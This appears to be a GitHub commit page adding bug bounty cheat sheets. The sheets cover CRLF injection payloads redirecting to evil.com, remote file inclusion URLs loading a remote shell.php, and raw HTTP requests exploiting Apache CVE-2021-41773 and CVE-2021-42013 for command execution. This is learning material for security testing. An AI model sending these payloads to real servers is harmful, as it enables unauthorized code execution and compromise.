forked from daffainfo/AllAboutBugBounty
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add 'Where to find' in each readme, add Apache + CRLF + RFI
- Loading branch information
Muhammad Daffa
committed
Jun 22, 2022
1 parent
fdaf048
commit abd025f
Showing
22 changed files
with
211 additions
and
25 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# CRLF Injection | ||
|
||
## Introduction | ||
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. | ||
|
||
## Where to find | ||
It can be found anywhere, always check the request and response. Try to search for parameters that lead to redirects, you can see the response is (301, 302, 303, 307, 308). | ||
|
||
## How to exploit | ||
1. Basic payload | ||
``` | ||
https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/ | ||
``` | ||
The response is | ||
``` | ||
HTTP/1.1 200 OK | ||
Content-Type: text/html | ||
Date: Mon, 09 May 2016 14:47:29 GMT | ||
Set-Cookie: language=en | ||
Location: https://evil.com/ | ||
``` | ||
|
||
2. Double encode | ||
``` | ||
https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/ | ||
``` | ||
|
||
3. Bypass unicode | ||
``` | ||
https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/ | ||
``` | ||
|
||
## References | ||
* [@filedescriptor](https://blog.innerht.ml/twitter-crlf-injection/) | ||
* [EdOverflow](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,31 @@ | ||
## Remote File Inclusion (RFI) | ||
|
||
## Introduction | ||
Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts. | ||
|
||
## Where to find | ||
- Any endpoint that includes a file from a web server. For example, `/index.php?page=index.html` | ||
|
||
## How to exploit | ||
1. Basic payload | ||
``` | ||
http://example.com/index.php?page=http://daffa.info/shell.php | ||
``` | ||
|
||
2. URL encoding | ||
``` | ||
http://example.com/index.php?page=http%3A%2F%2Fdaffa.info%2Fshell.php | ||
``` | ||
|
||
3. Double encoding | ||
``` | ||
http://example.com/index.php?page=http%253A%252F%252Fdaffa.info%252Fshell.php | ||
``` | ||
|
||
4. Using Null Byte (%00) | ||
``` | ||
http://example.com/index.php?page=http://daffa.info/shell.php%00 | ||
``` | ||
|
||
## References | ||
* [payloadbox](https://github.com/payloadbox/rfi-lfi-payload-list) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
# Apache (HTTP Server) Common Bugs | ||
|
||
## Introduction | ||
What would you do if you came across a website that uses Apache (HTTP Server)? | ||
|
||
## How to Detect | ||
Usually in the HTTP response there is a header like this `Server: Apache` or `Server: Apache/2.4.50` and check the 404 page | ||
|
||
1. Find the related CVE by checking Apache (HTTP Server) version | ||
* How to find the Apache (HTTP Server) version | ||
|
||
By checking the response header or using 404 page, sometimes the version is printed there. If you found outdated Apache (HTTP Server) version, find the CVEs at [CVE Details](https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/Apache-Http-Server.html) | ||
|
||
Some example CVE: | ||
|
||
- CVE-2021-41773 (RCE and LFI) | ||
``` | ||
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 | ||
Host: 127.0.0.1:8080 | ||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 | ||
Accept: */* | ||
Content-Length: 7 | ||
Content-Type: application/x-www-form-urlencoded | ||
Connection: close | ||
echo;id | ||
``` | ||
- CVE-2021-42013 (RCE and LFI) | ||
``` | ||
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1 | ||
Host: 127.0.0.1:8080 | ||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | ||
Accept-Language: en-US,en;q=0.5 | ||
Accept-Encoding: gzip, deflate | ||
Connection: close | ||
Upgrade-Insecure-Requests: 1 | ||
Content-Type: application/x-www-form-urlencoded | ||
Content-Length: 7 | ||
echo;id | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters